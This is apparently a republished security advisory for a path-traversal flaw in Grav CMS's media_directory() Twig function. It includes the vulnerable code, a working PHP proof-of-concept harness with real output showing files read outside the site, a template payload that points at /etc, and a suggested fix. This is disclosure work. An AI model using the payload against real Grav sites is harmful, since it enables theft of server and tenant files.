OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-72697: Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content

GitHub Advisories · officialPublished Sep 17, 2026Risk 37/100

## Summary The `media_directory()` Twig function is allow-listed for use in sandboxed, editor-authored page content (`system/config/security.yaml`). Its implementation, `GravExtension::mediaDirFunc()`, only treats the input as unsafe when it looks like a Grav stream (`user://`, `theme://`, etc). If the input is instead a plain filesystem path, absolute or relative, the stream check is skipped entirely and the raw string is handed straight to `new Media($media_dir)`, which lists every file in that directory whose extension matches a configured media type (which by default includes `txt`, `json`, `xml`, `pdf`, `doc`, `docx`, and more, not just images) and builds `Medium` objects for them. Separately, the sandbox's own allow-list for the `Medium` class includes the `filepath` accessor. A code comment directly above that allow-list entry states the developers' intent was for `filepath` to be part of the "dangerous surface" that "stays blocked", but it is listed as an allowed method on the very same line, contradicting that stated intent. Combined, a user who can enter page content that gets processed as Twig (`process.twig: true` in frontmatter, or any modular page, which is unsandboxed and unconditional per the code comment in `processPage()`) can point `media_directory()` at any directory the web server process can read, anywhere on the filesystem, and both enumerate and read the content of any file in it whose extension is a recognized media type. ## Affected product and version Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 ## Affected code `system/src/Grav/Common/Twig/Extension/GravExtension.php`, `mediaDirFunc()`: ```php public function mediaDirFunc($media_dir) { /** @var UniformResourceLocator $locator */ $locator = $this->grav['locator']; if ($locator->isStream($media_dir)) { $media_dir = $locator->findResource($media_dir); } if ($media_dir && file_exists($media_dir)) { return new Media($media_dir); } return null; } ``` There is no check that `$media_dir`, when it is not a recognized stream, is contained within any site-relative root. It is used exactly as supplied. `system/src/Grav/Common/Page/Media.php`, `init()`, called from the constructor: ```php protected function init() { $path = $this->getPath(); // Handle special cases where page doesn't exist in filesystem. if (!$path || !is_dir($path)) { return; } ... $iterator = new FilesystemIterator($path, FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS); foreach ($iterator as $file => $info) { ... [$basename, $ext, $type, $extra] = $this->getFileParts($filename); if (!in_array(strtolower((string) $ext), $media_types, true)) { continue; } ... } ``` `$path` here is whatever was passed to the `Media` constructor, the raw, unvalidated string from `mediaDirFunc()`. `system/config/security.yaml`, the `Medium` sandbox allow-list and the comment directly above it: ```yaml # ... # dangerous surface (save, set, copy, deleteFile, toArray, filepath, …) is # absent from ALLOWED_ACTIONS and stays blocked. - class: 'Grav\Common\Page\Medium\Medium' methods: 'url, html, filepath, filename, metadata, srcset, parsedownelement, __tostring, @media_actions' ``` `filepath` is named in the comment as something that is supposed to stay blocked, and is then listed as an allowed method one line later. `media_directory` in the sandbox's function allow-list: ``` - media_directory ``` ## Root cause Two gaps, and the second one converts the first from "list filenames from a directory" into "read the content of files": 1. `mediaDirFunc()`'s containment check only fires for recognized Grav streams. A plain filesystem path, which is the normal, documented shape of a string, is not a stream by definition, so it always takes the unchecked path. 2. Once a `Medium` object exists for a file outside any intended scope, the sandbox still hands page content the `filepath` accessor, which returns the real, absolute filesystem path to that file, letting a template (or the same request, via straightforward means) resolve and read its bytes. ## Proof of concept, verified, real output I built a working harness against the real, unmodified source, not a reimplementation, by cloning the exact commits Grav's own `composer.lock` pins for every class involved: `getgrav/grav` itself, `rockettheme/toolbox` (for `UniformResourceLocator::isStream()`), `pimple/pimple` (the DI container `Grav\Common\Grav` extends), and `psr/container`. Step 1, confirm the pinned commits used: ``` $ python3 -c " import json d = json.load(open('composer.lock')) for name in ('rockettheme/toolbox','pimple/pimple','psr/container'): for pkg in d['packages']: if pkg['name'] == name: print(name, pkg['source']['reference']) " rockettheme/toolbox c569a53304cd7d95ff21bffa6fc590adcf0be83d pimple/pimple 8cfe7f74ac22a433d303914eba9ea4c2a834edce psr/container c71ecc56dfe541dbd90c5360474fbc405f8d5963 ``` Step 2, clone each at that exact commit: ``` $ git clone https://github.com/rockettheme/toolbox.git && cd toolbox && git checkout c569a53304cd7d95ff21bffa6fc590adcf0be83d $ git clone https://github.com/silexphp/Pimple.git && cd Pimple && git checkout 8cfe7f74ac22a433d303914eba9ea4c2a834edce $ git clone https://github.com/php-fig/container.git && cd container && git checkout c71ecc56dfe541dbd90c5360474fbc405f8d5963 ``` Step 3, PoC script. It registers a real `Grav` container (the actual class, not a stub) with a real `UniformResourceLocator` that only has `user`/`image` streams registered, matching a normal site, no stream for arbitrary filesystem paths. It then calls the real, unmodified `Grav\Common\Page\Media` class exactly the way `mediaDirFunc()` does, on a plain filesystem path standing in for "some directory outside the intended scope" (I used a throwaway `/tmp` directory rather than a real system path, to keep the PoC harmless to run, the mechanism is identical for any path the web server user can read, `/etc`, another tenant's directory on shared hosting, Grav's own non-webroot folders, etc): ```php <?php // media_traversal_poc.php spl_autoload_register(function ($class) { if (strpos($class, 'Grav\\') === 0) { $rel = str_replace('Grav\\', '', $class); $path = '/home/claude/grav/system/src/Grav/' . str_replace('\\', '/', $rel) . '.php'; if (file_exists($path)) { require_once $path; return; } } if (strpos($class, 'RocketTheme\\Toolbox\\') === 0) { $rel = str_replace('RocketTheme\\Toolbox\\', '', $class); $parts = explode('\\', $rel); $top = array_shift($parts); $path = '/home/claude/toolbox/' . $top . '/src/' . implode('/', $parts) . '.php'; if (file_exists($path)) { require_once $path; return; } } if (strpos($class, 'Pimple\\') === 0) { $rel = str_replace('Pimple\\', '', $class); $path = '/home/claude/Pimple/src/Pimple/' . str_replace('\\', '/', $rel) . '.php'; if (file_exists($path)) { require_once $path; return; } } if (strpos($class, 'Psr\\Container\\') === 0) { $rel = str_replace('Psr\\Container\\', '', $class); $path = '/home/claude/container/src/' . str_replace('\\', '/', $rel) . '.php'; if (file_exists($path)) { require_once $path; return; } } }); use Grav\Common\Grav; use Grav\Common\Page\Media; use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator; // Minimal stand-ins for Config/Pages, only the specific methods the real // Media/MediumFactory/Medium classes actually call. Everything downstream // of these calls is the real, unmodified Grav source under test. class FakeConfig { private $mediaTypes; public function __construct() { $this->mediaTypes = array_fill_keys( ['jpg','jpeg','png','gif','svg','txt','json','xml','pdf','doc','docx'], ['type' => 'file', 'mime' => 'application/octet-stream'] ); $this->mediaTypes['jpg'] = ['type' => 'image', 'mime' => 'image/jpeg']; $this->mediaTypes['png'] = ['type' => 'image', 'mime' => 'image/png']; } public function get($key, $default = null) { if ($key === 'system.media.enable_media_timestamp') return false; if ($key === 'media.types') return $this->mediaTypes; if (strpos($key, 'media.types.') === 0) { $ext = substr($key, strlen('media.types.')); return $this->mediaTypes[$ext] ?? $default; } return $default; } } class FakePages { public function get($path) { return null; } } $locator = new UniformResourceLocator('/home/claude/grav'); $locator->addPath('user', '', ['user']); $locator->addPath('image', '', ['user/images']); $grav = new Grav([ 'locator' => function () use ($locator) { return $locator; }, 'config' => function () { return new FakeConfig(); }, 'pages' => function () { return new FakePages(); }, ]); $ref = new ReflectionClass(Grav::class); $prop = $ref->getProperty('instance'); $prop->setAccessible(true); $prop->setValue(null, $grav); // Stand-in for "somewhere outside the intended scope". Using /tmp so the // PoC is safe to run here, the mechanism is identical for /etc or any // other web-server-readable path. $target = '/tmp/outside-grav-webroot-demo'; @mkdir($target); file_put_contents($target . '/secret-notes.txt', "internal notes, not meant to be public\n"); file_put_contents($target . '/config-snippet.json', '{"api_key":"REDACTED-EXAMPLE-abc123"}'); file_put_contents($target . '/random.bin', random_bytes(16)); // not a recognized media type echo "=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\n"; echo "Target directory: $target\n"; echo "Is it registered as a Grav stream? " . ($locator->isStream($target) ? 'yes' : 'no') . "\n\n"; // This mirrors mediaDirFunc() exactly: isStream() check, then new Media(). if ($locator->isStream($target)) { $resolved = $locator->findResource($target); } else { $resolved = $target; // the vulnerable fallthrough } $media = new Media($resolved); echo "Files Media discovered in that directory:\n"; foreach ($media->all() as $filename => $medium) { echo " - $filename (" . get_class($medium) . ")\n"; // filepath is allow-listed for Medium in the real sandbox config. echo " .filepath => " . $medium->get('filepath') . "\n"; echo " file content (read from that path):\n"; echo " \"" . trim((string) @file_get_contents($medium->get('filepath'))) . "\"\n\n"; } ``` Step 4, run it: ``` $ php media_traversal_poc.php ``` Actual output: ``` === Grav\Common\Page\Media, real unmodified source, given a plain filesystem path === Target directory: /tmp/outside-grav-webroot-demo Is it registered as a Grav stream? no Files Media discovered in that directory: - config-snippet.json (Grav\Common\Page\Medium\Medium) .filepath => /tmp/outside-grav-webroot-demo/config-snippet.json file content (read from that path): "{"api_key":"REDACTED-EXAMPLE-abc123"}" - secret-notes.txt (Grav\Common\Page\Medium\Medium) .filepath => /tmp/outside-grav-webroot-demo/secret-notes.txt file content (read from that path): "internal notes, not meant to be public" ``` `random.bin` is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav's own default `media.types` list (`txt`, `json`, ...), not because of anything I loosened in the stub. This is the equivalent of a real page containing `{{ media_directory('/etc').files }}` (or any other path outside the site) being able to enumerate and, via `.filepath` on each item, resolve the absolute path to every matching file the web server process can read, then read its contents. ## Impact Any user who can author page content that gets Twig-processed, which includes, per Grav's own code comments, all modular page content unconditionally, plus any regular page with `process.twig: true`, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (`txt`, `json`, `xml`, `pdf`, `doc`, `docx`, images, and more by default). This is not limited to Grav's own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants' files, and even within a single Grav install it reaches well outside the `user://`/`theme://` scope the sandbox is meant to constrain content authors to. ## Suggested fix In `mediaDirFunc()`, when `$media_dir` is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with `realpath()` that the result is contained within an explicitly allowed root (for example `user://`) before constructing `Media`. Separately, resolve the contradiction in `system/config/security.yaml`, either remove `filepath` from the `Medium` allow-list to match the stated intent in the comment above it, or, if some sandboxed use of `filepath` is genuinely needed, scope it so it cannot be combined with an unbounded `media_directory()` to reach arbitrary paths. =========================================================== CWE FIELD =========================================================== CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) =========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium Note for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav's own `system`/`site`/`theme` config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats "reads any file on disk" as categorically worse than "reads this app's own config". =========================================================== SEVERITY FIELD =========================================================== Moderate, possibly High, see note above

Upgrade affected packages to a patched version: getgrav/grav 2.0.16.

Vendor
Not specified
Product
getgrav/grav
Exploitation
none known
Evidence
official
CVSS
6.5

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source